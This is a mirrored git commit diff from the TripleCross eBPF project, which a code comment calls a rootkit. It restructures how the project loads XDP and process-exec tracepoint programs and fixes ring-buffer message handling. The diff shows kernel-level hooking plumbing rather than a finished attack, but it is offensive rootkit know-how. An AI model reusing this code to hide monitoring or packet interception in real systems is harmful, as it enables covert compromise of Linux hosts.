mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-21 01:03:08 +08:00
Modularized the ebpf program loading and attaching.
This commit is contained in:
3
.vscode/settings.json
vendored
3
.vscode/settings.json
vendored
@@ -3,6 +3,7 @@
|
|||||||
"time.h": "c",
|
"time.h": "c",
|
||||||
"constants.h": "c",
|
"constants.h": "c",
|
||||||
"pkt_cls.h": "c",
|
"pkt_cls.h": "c",
|
||||||
"map_defs.h": "c"
|
"map_defs.h": "c",
|
||||||
|
"regex.h": "c"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
@@ -29,14 +29,14 @@
|
|||||||
* @ref https://elixir.bootlin.com/linux/latest/source/include/trace/events/sched.h#L397
|
* @ref https://elixir.bootlin.com/linux/latest/source/include/trace/events/sched.h#L397
|
||||||
*/
|
*/
|
||||||
SEC("tp/sched/sched_process_exec")
|
SEC("tp/sched/sched_process_exec")
|
||||||
int handle_exec(struct trace_event_raw_sched_process_exec *ctx){
|
int handle_sched_process_exec(struct trace_event_raw_sched_process_exec *ctx){
|
||||||
pid_t pid = bpf_get_current_pid_tgid() >> 32;
|
pid_t pid = bpf_get_current_pid_tgid() >> 32;
|
||||||
char* message = "PROCESS ACTIVATED\0";
|
char message[] = "PROCESS ACTIVATED";
|
||||||
|
|
||||||
//Just deactivated for now, but working
|
//Just deactivated for now, but working
|
||||||
/*if(ring_buffer_send(&rb_comm, pid, INFO, 0, message)<0){
|
if(ring_buffer_send(&rb_comm, pid, INFO, 0, message, sizeof(message))<0){
|
||||||
bpf_printk("ERROR printing in RB_COMM at fs module");
|
bpf_printk("ERROR printing in RB_COMM at fs module");
|
||||||
}*/
|
}
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ struct ring_buffer rb_comm SEC(".maps");
|
|||||||
*
|
*
|
||||||
* @return 0 if ok, -1 if error
|
* @return 0 if ok, -1 if error
|
||||||
*/
|
*/
|
||||||
static __always_inline int ring_buffer_send(struct ring_buffer *rb, int pid, event_type_t event_type, int code, char* message){
|
static __always_inline int ring_buffer_send(struct ring_buffer *rb, int pid, event_type_t event_type, int code, char* message, __u32 message_len){
|
||||||
struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
|
struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
|
||||||
if(!event){
|
if(!event){
|
||||||
return -1;
|
return -1;
|
||||||
@@ -34,7 +34,7 @@ static __always_inline int ring_buffer_send(struct ring_buffer *rb, int pid, eve
|
|||||||
event->code = code;
|
event->code = code;
|
||||||
event->event_type = event_type;
|
event->event_type = event_type;
|
||||||
event->pid = pid;
|
event->pid = pid;
|
||||||
bpf_probe_read_kernel_str(&event->message, sizeof(message), message);
|
bpf_probe_read_kernel_str(&event->message, message_len, message);
|
||||||
|
|
||||||
bpf_ringbuf_submit(event, 0);
|
bpf_ringbuf_submit(event, 0);
|
||||||
return 0;
|
return 0;
|
||||||
|
|||||||
10
src/user/include/modules/module_manager.h
Normal file
10
src/user/include/modules/module_manager.h
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
#ifndef __MOD_MANAGER_H
|
||||||
|
#define __MOD_MANAGER_H
|
||||||
|
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
struct module_config{
|
||||||
|
//TODO
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
||||||
0
src/user/include/modules/sched.h
Normal file
0
src/user/include/modules/sched.h
Normal file
5
src/user/include/modules/xdp.h
Normal file
5
src/user/include/modules/xdp.h
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
#ifndef __MOD_XDP_H
|
||||||
|
#define __MOD_XDP_H
|
||||||
|
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -1,11 +1,4 @@
|
|||||||
#ifndef __XDP_FILTER_H
|
#ifndef __XDP_FILTER_H
|
||||||
#define __XDP_FILTER_H
|
#define __XDP_FILTER_H
|
||||||
|
|
||||||
#define MAX_PAYLOAD_LEN 127
|
|
||||||
|
|
||||||
struct event {
|
|
||||||
char payload[MAX_PAYLOAD_LEN];
|
|
||||||
//bool exit_event;
|
|
||||||
};
|
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -7,6 +7,7 @@
|
|||||||
#include <linux/if_link.h>
|
#include <linux/if_link.h>
|
||||||
#include <net/if.h>
|
#include <net/if.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
#include <bpf/bpf.h>
|
||||||
|
|
||||||
#include "xdp_filter.skel.h"
|
#include "xdp_filter.skel.h"
|
||||||
|
|
||||||
@@ -106,7 +107,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
|
|||||||
int main(int argc, char**argv){
|
int main(int argc, char**argv){
|
||||||
struct ring_buffer *rb = NULL;
|
struct ring_buffer *rb = NULL;
|
||||||
struct xdp_filter_bpf *skel;
|
struct xdp_filter_bpf *skel;
|
||||||
int err;
|
__u32 err;
|
||||||
|
|
||||||
//Ready to be used
|
//Ready to be used
|
||||||
/*for (int arg = 1; arg < argc; arg++) {
|
/*for (int arg = 1; arg < argc; arg++) {
|
||||||
@@ -116,7 +117,7 @@ int main(int argc, char**argv){
|
|||||||
}
|
}
|
||||||
}*/
|
}*/
|
||||||
|
|
||||||
unsigned int ifindex;
|
__u32 ifindex;
|
||||||
|
|
||||||
/* Parse command line arguments */
|
/* Parse command line arguments */
|
||||||
int opt;
|
int opt;
|
||||||
@@ -154,45 +155,84 @@ int main(int argc, char**argv){
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Set up libbpf errors and debug info callback
|
//Set up libbpf errors and debug info callback
|
||||||
libbpf_set_print(libbpf_print_fn);
|
libbpf_set_print(libbpf_print_fn);
|
||||||
|
|
||||||
// Bump RLIMIT_MEMLOCK to be able to create BPF maps
|
// Bump RLIMIT_MEMLOCK to be able to create BPF maps
|
||||||
bump_memlock_rlimit();
|
bump_memlock_rlimit();
|
||||||
|
|
||||||
// Cleaner handling of Ctrl-C
|
//Cleaner handling of Ctrl-C
|
||||||
signal(SIGINT, sig_handler);
|
signal(SIGINT, sig_handler);
|
||||||
signal(SIGTERM, sig_handler);
|
signal(SIGTERM, sig_handler);
|
||||||
|
|
||||||
// Load and verify BPF application
|
//Open and create BPF application in the kernel
|
||||||
skel = xdp_filter_bpf__open();
|
skel = xdp_filter_bpf__open();
|
||||||
if (!skel) {
|
if (!skel) {
|
||||||
fprintf(stderr, "Failed to open and load BPF skeleton\n");
|
fprintf(stderr, "Failed to open and load BPF skeleton\n");
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Load & verify BPF programs */
|
//Load & verify BPF program
|
||||||
err = xdp_filter_bpf__load(skel);
|
err = xdp_filter_bpf__load(skel);
|
||||||
if (err) {
|
if (err) {
|
||||||
fprintf(stderr, "Failed to load and verify BPF skeleton\n");
|
fprintf(stderr, "Failed to load and verify BPF skeleton\n");
|
||||||
goto cleanup;
|
goto cleanup;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Attach tracepoint for
|
|
||||||
err = xdp_filter_bpf__attach(skel);
|
//Attack BPF program to network interface
|
||||||
|
//New way of doing it: it allows for future addition of multiple
|
||||||
|
//XDP programs attached to same interface if needed
|
||||||
|
//Also done this way to modularize attaching the different tracepoints
|
||||||
|
//of the rootkit
|
||||||
|
/** @ref Test suite by readhat ebpf devs on XDP
|
||||||
|
* https://git.zx2c4.com/linux/plain/tools/testing/selftests/bpf/prog_tests/xdp_link.c
|
||||||
|
*/
|
||||||
|
struct bpf_prog_info prog_info;
|
||||||
|
__u32 bpf_prog_info_size = sizeof(prog_info);
|
||||||
|
__u32 xdp_prog_fd = bpf_program__fd(skel->progs.xdp_receive);
|
||||||
|
__u32 xdp_prog_id_old = 0;
|
||||||
|
__u32 xdp_prog_id_new;
|
||||||
|
DECLARE_LIBBPF_OPTS(bpf_xdp_set_link_opts, opts, .old_fd = -1);
|
||||||
|
int flags = XDP_FLAGS_REPLACE;
|
||||||
|
|
||||||
|
memset(&prog_info, 0, bpf_prog_info_size);
|
||||||
|
err = bpf_obj_get_info_by_fd(xdp_prog_fd, &prog_info, &bpf_prog_info_size);
|
||||||
|
if(err<0){
|
||||||
|
fprintf(stderr, "Failed to setup xdp link\n");
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
xdp_prog_id_new = prog_info.id;
|
||||||
|
|
||||||
|
//Check whether there exists previously loaded XDP program
|
||||||
|
err = bpf_get_link_xdp_id(ifindex, &xdp_prog_id_old, 0);
|
||||||
|
if(err<0 || (xdp_prog_id_old!=0 && xdp_prog_id_old!=xdp_prog_id_new)){
|
||||||
|
fprintf(stderr, "Xdp program found id--> old:%u != new:%u\n", xdp_prog_id_old, xdp_prog_id_new);
|
||||||
|
fprintf(stderr,"This should not happen, since our xdp program is removed automatically between calls\nRun `ip link set dev lo xdpgeneric off` to detach whichever program is running");
|
||||||
|
//TODO automatically force the reattach
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Attach loaded xdp program
|
||||||
|
skel->links.xdp_receive = bpf_program__attach_xdp(skel->progs.xdp_receive, ifindex);
|
||||||
|
err = libbpf_get_error(skel->links.xdp_receive);
|
||||||
if (err) {
|
if (err) {
|
||||||
fprintf(stderr, "Failed to attach BPF skeleton\n");
|
fprintf(stderr, "Failed to attach BPF skeleton\n");
|
||||||
goto cleanup;
|
goto cleanup;
|
||||||
}
|
}
|
||||||
|
|
||||||
//Attack BPF program to network interface
|
//Attach sched module (testing)
|
||||||
int flags = XDP_FLAGS_SKB_MODE;
|
skel->links.handle_sched_process_exec = bpf_program__attach(skel->progs.handle_sched_process_exec);
|
||||||
int fd = bpf_program__fd(skel->progs.xdp_receive);
|
err = libbpf_get_error(skel->links.handle_sched_process_exec);
|
||||||
err = bpf_set_link_xdp_fd(ifindex, fd, flags);
|
if (err<0) {
|
||||||
|
fprintf(stderr, "Failed to attach sched module\n");
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
/* Set up ring buffer polling */
|
// Set up ring buffer polling --> Main communication buffer kernel->user
|
||||||
rb = ring_buffer__new(bpf_map__fd(skel->maps.rb_comm), handle_rb_event, NULL, NULL);
|
rb = ring_buffer__new(bpf_map__fd(skel->maps.rb_comm), handle_rb_event, NULL, NULL);
|
||||||
if (!rb) {
|
if (rb==NULL) {
|
||||||
err = -1;
|
err = -1;
|
||||||
fprintf(stderr, "Failed to create ring buffer\n");
|
fprintf(stderr, "Failed to create ring buffer\n");
|
||||||
goto cleanup;
|
goto cleanup;
|
||||||
@@ -215,7 +255,7 @@ int main(int argc, char**argv){
|
|||||||
}
|
}
|
||||||
|
|
||||||
//Received signal to stop, detach program from network interface
|
//Received signal to stop, detach program from network interface
|
||||||
fd = -1;
|
__u32 fd = -1;
|
||||||
err = bpf_set_link_xdp_fd(ifindex, fd, flags);
|
err = bpf_set_link_xdp_fd(ifindex, fd, flags);
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user